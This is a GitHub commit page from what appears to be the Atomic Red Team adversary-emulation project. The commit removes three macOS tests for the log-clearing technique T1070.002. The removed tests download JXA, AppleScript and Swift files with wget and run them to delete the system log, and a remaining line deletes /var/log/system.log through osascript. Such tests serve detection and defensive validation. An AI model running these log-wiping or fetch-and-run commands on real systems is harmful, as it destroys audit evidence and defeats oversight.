Update T1070.002.yaml

This commit is contained in:
D4rkCiph3r
2023-02-18 13:18:46 +05:30
committed by GitHub
parent b1bda776fe
commit 2f1c0e9f76
-68
View File
@@ -152,74 +152,6 @@ atomic_tests:
osascript -e 'tell application "Finder" to delete file "/var/log/system.log"'
name: sh
elevation_required: true
- name: Delete system log files using JXA
description: |
Deletes the system log file using JXA
supported_platforms:
- macos
input_arguments:
input_file:
description: source file
type: path
default: PathToAtomicsFolder/T1070.002/src/T1070-002-test.js
dependency_executor_name: sh
dependencies:
- description: |
the source file must exist on disk at specified location (#{input_file})
prereq_command: |
if [ -e #{input_file} ]; then exit 0; else exit 1; fi
get_prereq_command: |
wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1070.002/src/T1070-002-test.js -O #{input_file}
executor:
command: |
chmod +x #{input_file}
./#{input_file}
name: bash
- name: System log file deletion using Cocoa API - 1
description: |
Deletes the system log file using Cocoa API calls via OSAScript
supported_platforms:
- macos
input_arguments:
input_file:
description: source file
type: path
default: PathToAtomicsFolder/T1070.002/src/T1070-002-test.scpt
dependency_executor_name: sh
dependencies:
- description: |
the source file must exist on disk at specified location (#{input_file})
prereq_command: |
if [ -e #{input_file} ]; then exit 0; else exit 1; fi
get_prereq_command: |
wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1070.002/src/T1070-002-test.scpt -O #{input_file}
executor:
command: |
osascript #{input_file}
name: bash
- name: System log file deletion using Cocoa API - 2
description: |
Deletes the system log file using Cocoa API calls via Swift
supported_platforms:
- macos
input_arguments:
input_file:
description: source file
type: path
default: PathToAtomicsFolder/T1070.002/src/T1070-002-test.swift
dependency_executor_name: sh
dependencies:
- description: |
the source file must exist on disk at specified location (#{input_file})
prereq_command: |
if [ -e #{input_file} ]; then exit 0; else exit 1; fi
get_prereq_command: |
wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1070.002/src/T1070-002-test.swift -O #{input_file}
executor:
command: |
swiftc #{input_file}
./#{input_file}
name: bash
- name: Overwrite Linux Mail Spool
auto_generated_guid: 1602ff76-ed7f-4c94-b550-2f727b4782d4
description: |